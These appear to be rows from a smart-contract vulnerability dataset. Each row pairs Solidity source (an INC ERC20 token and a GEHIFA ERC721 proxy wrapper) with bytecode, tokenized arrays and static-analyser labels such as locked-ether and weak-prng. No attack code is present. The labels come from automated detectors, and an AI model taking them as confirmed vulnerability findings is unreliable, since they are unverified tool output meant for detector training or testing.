{'detectors': [{'check': 'divide-before-multiply', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'incorrect-shift', 'impact': 'High', 'confidence': 'High'}, {'check': 'uninitialized-local', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'weak-prng', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2575, 2620, 2620, 2683, 2278, 22610, 28756, 2063, 29097, 27009, 2620, 2546, 2575, 2620, 20958, 2050, 2575, 2497, 2509, 10322, 2692, 2497, 2575, 2683, 2094, 2487, 2497, 19841, 2581, 2497, 2620, 2278, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 1013, 1013, 5371, 1024, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 21183, 12146, 1013, 17174, 13102, 18491, 1013, 29464, 11890, 16048, 2629, 1012, 14017, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 8278, 1997, 1996, 9413, 2278, 16048, 2629, 3115, 1010, 2004, 4225, 1999, 1996, 1008, 16770, 1024, 1013, 1013, 1041, 11514, 2015, 1012, 28855, 14820, 1012, 8917, 1013, 1041, 11514, 2015, 1013, 1041, 11514, 1011, 13913, 1031, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,305
0x9688af29e756e66c5e4257ef2e8b4cc99ceea74d
pragma solidity ^0.4.18; // ---------------------------------------------------------------------------- // 'INC' token contract // // Deployed to : 0x264db562cc95fA0EB20e66C9FE4074e7C10372a1 // Symbol : INC // Name : InterNetworkCrypto // Total supply: 10000000000000000000000000000 // Decimals : 18 // // Enjoy. // // (c) by Moritz Neto with BokkyPooBah / Bok Consulting Pty Ltd Au 2017. The MIT Licence. // ---------------------------------------------------------------------------- // ---------------------------------------------------------------------------- // Safe maths // ---------------------------------------------------------------------------- contract SafeMath { function safeAdd(uint a, uint b) public pure returns (uint c) { c = a + b; require(c >= a); } function safeSub(uint a, uint b) public pure returns (uint c) { require(b <= a); c = a - b; } function safeMul(uint a, uint b) public pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function safeDiv(uint a, uint b) public pure returns (uint c) { require(b > 0); c = a / b; } } // ---------------------------------------------------------------------------- // ERC Token Standard #20 Interface // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // ---------------------------------------------------------------------------- contract ERC20Interface { function totalSupply() public constant returns (uint); function balanceOf(address tokenOwner) public constant returns (uint balance); function allowance(address tokenOwner, address spender) public constant returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } // ---------------------------------------------------------------------------- // Contract function to receive approval and execute function in one call // // Borrowed from MiniMeToken // ---------------------------------------------------------------------------- contract ApproveAndCallFallBack { function receiveApproval(address from, uint256 tokens, address token, bytes data) public; } // ---------------------------------------------------------------------------- // Owned contract // ---------------------------------------------------------------------------- contract Owned { address public owner; address public newOwner; event OwnershipTransferred(address indexed _from, address indexed _to); function Owned() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address _newOwner) public onlyOwner { newOwner = _newOwner; } function acceptOwnership() public { require(msg.sender == newOwner); OwnershipTransferred(owner, newOwner); owner = newOwner; newOwner = address(0); } } // ---------------------------------------------------------------------------- // ERC20 Token, with the addition of symbol, name and decimals and assisted // token transfers // ---------------------------------------------------------------------------- contract INC is ERC20Interface, Owned, SafeMath { string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ function INC() public { symbol = "INC"; name = " InterNetworkCrypto"; decimals = 18; _totalSupply = 10000000000000000000000000000; balances[0x264db562cc95fA0EB20e66C9FE4074e7C10372a1] = _totalSupply; Transfer(address(0), 0x264db562cc95fA0EB20e66C9FE4074e7C10372a1, _totalSupply); } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } // ------------------------------------------------------------------------ // Get the token balance for account tokenOwner // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to to account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer tokens from the from account to the to account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the from account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account. The spender contract function // receiveApproval(...) is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } // ------------------------------------------------------------------------ // Don't accept ETH // ------------------------------------------------------------------------ function () public payable { revert(); } // ------------------------------------------------------------------------ // Owner can transfer out any accidentally sent ERC20 tokens // ------------------------------------------------------------------------ function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } }
0x608060405260043610610112576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde0314610117578063095ea7b3146101a757806318160ddd1461020c57806323b872dd14610237578063313ce567146102bc5780633eaaf86b146102ed57806370a082311461031857806379ba50971461036f5780638da5cb5b1461038657806395d89b41146103dd578063a293d1e81461046d578063a9059cbb146104b8578063b5931f7c1461051d578063cae9ca5114610568578063d05c78da14610613578063d4ee1d901461065e578063dc39d06d146106b5578063dd62ed3e1461071a578063e6cb901314610791578063f2fde38b146107dc575b600080fd5b34801561012357600080fd5b5061012c61081f565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561016c578082015181840152602081019050610151565b50505050905090810190601f1680156101995780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101b357600080fd5b506101f2600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108bd565b604051808215151515815260200191505060405180910390f35b34801561021857600080fd5b506102216109af565b6040518082815260200191505060405180910390f35b34801561024357600080fd5b506102a2600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109fa565b604051808215151515815260200191505060405180910390f35b3480156102c857600080fd5b506102d1610c8a565b604051808260ff1660ff16815260200191505060405180910390f35b3480156102f957600080fd5b50610302610c9d565b6040518082815260200191505060405180910390f35b34801561032457600080fd5b50610359600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ca3565b6040518082815260200191505060405180910390f35b34801561037b57600080fd5b50610384610cec565b005b34801561039257600080fd5b5061039b610e8b565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156103e957600080fd5b506103f2610eb0565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610432578082015181840152602081019050610417565b50505050905090810190601f16801561045f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561047957600080fd5b506104a26004803603810190808035906020019092919080359060200190929190505050610f4e565b6040518082815260200191505060405180910390f35b3480156104c457600080fd5b50610503600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f6a565b604051808215151515815260200191505060405180910390f35b34801561052957600080fd5b5061055260048036038101908080359060200190929190803590602001909291905050506110f3565b6040518082815260200191505060405180910390f35b34801561057457600080fd5b506105f9600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290505050611117565b604051808215151515815260200191505060405180910390f35b34801561061f57600080fd5b506106486004803603810190808035906020019092919080359060200190929190505050611366565b6040518082815260200191505060405180910390f35b34801561066a57600080fd5b50610673611397565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156106c157600080fd5b50610700600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506113bd565b604051808215151515815260200191505060405180910390f35b34801561072657600080fd5b5061077b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611521565b6040518082815260200191505060405180910390f35b34801561079d57600080fd5b506107c660048036038101908080359060200190929190803590602001909291905050506115a8565b6040518082815260200191505060405180910390f35b3480156107e857600080fd5b5061081d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506115c4565b005b60038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108b55780601f1061088a576101008083540402835291602001916108b5565b820191906000526020600020905b81548152906001019060200180831161089857829003601f168201915b505050505081565b600081600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600660008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460055403905090565b6000610a45600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610f4e565b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b0e600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610f4e565b600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610bd7600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836115a8565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600460009054906101000a900460ff1681565b60055481565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610d4857600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60028054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610f465780601f10610f1b57610100808354040283529160200191610f46565b820191906000526020600020905b815481529060010190602001808311610f2957829003601f168201915b505050505081565b6000828211151515610f5f57600080fd5b818303905092915050565b6000610fb5600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610f4e565b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611041600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836115a8565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000808211151561110357600080fd5b818381151561110e57fe5b04905092915050565b600082600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925856040518082815260200191505060405180910390a38373ffffffffffffffffffffffffffffffffffffffff16638f4ffcb1338530866040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200180602001828103825283818151815260200191508051906020019080838360005b838110156112f45780820151818401526020810190506112d9565b50505050905090810190601f1680156113215780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b15801561134357600080fd5b505af1158015611357573d6000803e3d6000fd5b50505050600190509392505050565b600081830290506000831480611386575081838281151561138357fe5b04145b151561139157600080fd5b92915050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561141a57600080fd5b8273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156114de57600080fd5b505af11580156114f2573d6000803e3d6000fd5b505050506040513d602081101561150857600080fd5b8101908080519060200190929190505050905092915050565b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600081830190508281101515156115be57600080fd5b92915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561161f57600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505600a165627a7a7230582077376cacd82ec137e183a7ff79ef6c9b1dc21ee6135a92b0c2cab7bc9fda98340029
{"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
true
null
{'detectors': [{'check': 'locked-ether', 'impact': 'Medium', 'confidence': 'High'}]}
[ 101, 1014, 2595, 2683, 2575, 2620, 2620, 10354, 24594, 2063, 23352, 2575, 2063, 28756, 2278, 2629, 2063, 20958, 28311, 12879, 2475, 2063, 2620, 2497, 2549, 9468, 2683, 2683, 3401, 5243, 2581, 2549, 2094, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 2324, 1025, 1013, 1013, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1013, 1013, 1005, 4297, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,306
0x9688b52a26b1bbf598334886c2fbbef657949cca
// Sources flattened with hardhat v2.8.3 https://hardhat.org // File @openzeppelin/contracts/proxy/Proxy.sol@v4.4.2 // OpenZeppelin Contracts v4.4.1 (proxy/Proxy.sol) pragma solidity ^0.8.0; /** * @dev This abstract contract provides a fallback function that delegates all calls to another contract using the EVM * instruction `delegatecall`. We refer to the second contract as the _implementation_ behind the proxy, and it has to * be specified by overriding the virtual {_implementation} function. * * Additionally, delegation to the implementation can be triggered manually through the {_fallback} function, or to a * different contract through the {_delegate} function. * * The success and return data of the delegated call will be returned back to the caller of the proxy. */ abstract contract Proxy { /** * @dev Delegates the current call to `implementation`. * * This function does not return to its internall call site, it will return directly to the external caller. */ function _delegate(address implementation) internal virtual { assembly { // Copy msg.data. We take full control of memory in this inline assembly // block because it will not return to Solidity code. We overwrite the // Solidity scratch pad at memory position 0. calldatacopy(0, 0, calldatasize()) // Call the implementation. // out and outsize are 0 because we don't know the size yet. let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0) // Copy the returned data. returndatacopy(0, 0, returndatasize()) switch result // delegatecall returns 0 on error. case 0 { revert(0, returndatasize()) } default { return(0, returndatasize()) } } } /** * @dev This is a virtual function that should be overriden so it returns the address to which the fallback function * and {_fallback} should delegate. */ function _implementation() internal view virtual returns (address); /** * @dev Delegates the current call to the address returned by `_implementation()`. * * This function does not return to its internall call site, it will return directly to the external caller. */ function _fallback() internal virtual { _beforeFallback(); _delegate(_implementation()); } /** * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if no other * function in the contract matches the call data. */ fallback() external payable virtual { _fallback(); } /** * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if call data * is empty. */ receive() external payable virtual { _fallback(); } /** * @dev Hook that is called before falling back to the implementation. Can happen as part of a manual `_fallback` * call, or as part of the Solidity `fallback` or `receive` functions. * * If overriden should call `super._beforeFallback()`. */ function _beforeFallback() internal virtual {} } // File @openzeppelin/contracts/utils/Address.sol@v4.4.2 // OpenZeppelin Contracts v4.4.1 (utils/Address.sol) pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File @openzeppelin/contracts/utils/StorageSlot.sol@v4.4.2 // OpenZeppelin Contracts v4.4.1 (utils/StorageSlot.sol) pragma solidity ^0.8.0; /** * @dev Library for reading and writing primitive types to specific storage slots. * * Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts. * This library helps with reading and writing to such slots without the need for inline assembly. * * The functions in this library return Slot structs that contain a `value` member that can be used to read or write. * * Example usage to set ERC1967 implementation slot: * ``` * contract ERC1967 { * bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; * * function _getImplementation() internal view returns (address) { * return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value; * } * * function _setImplementation(address newImplementation) internal { * require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract"); * StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation; * } * } * ``` * * _Available since v4.1 for `address`, `bool`, `bytes32`, and `uint256`._ */ library StorageSlot { struct AddressSlot { address value; } struct BooleanSlot { bool value; } struct Bytes32Slot { bytes32 value; } struct Uint256Slot { uint256 value; } /** * @dev Returns an `AddressSlot` with member `value` located at `slot`. */ function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `BooleanSlot` with member `value` located at `slot`. */ function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `Bytes32Slot` with member `value` located at `slot`. */ function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `Uint256Slot` with member `value` located at `slot`. */ function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) { assembly { r.slot := slot } } } // File contracts/GEHIFA.sol pragma solidity ^0.8.4; contract ERC721ContractWrapper is Proxy { address internal constant _IMPLEMENTATION_ADDRESS = 0x0AaD9cf1D64301D6a37B1368f073E99DED6BECa5; bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; constructor( string memory _name, string memory _symbol, uint256 _totalSupply ) { assert(_IMPLEMENTATION_SLOT == bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1)); StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = _IMPLEMENTATION_ADDRESS; Address.functionDelegateCall( _IMPLEMENTATION_ADDRESS, abi.encodeWithSignature("initialize(string,string,uint256)", _name, _symbol, _totalSupply) ); } /** * @dev Returns the current implementation address. */ function implementation() public view returns (address) { return _implementation(); } function _implementation() internal override view returns (address) { return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value; } } contract GEHIFA is ERC721ContractWrapper { constructor( string memory _name, string memory _symbol, uint256 _totalSupply ) ERC721ContractWrapper(_name,_symbol,_totalSupply) {} }
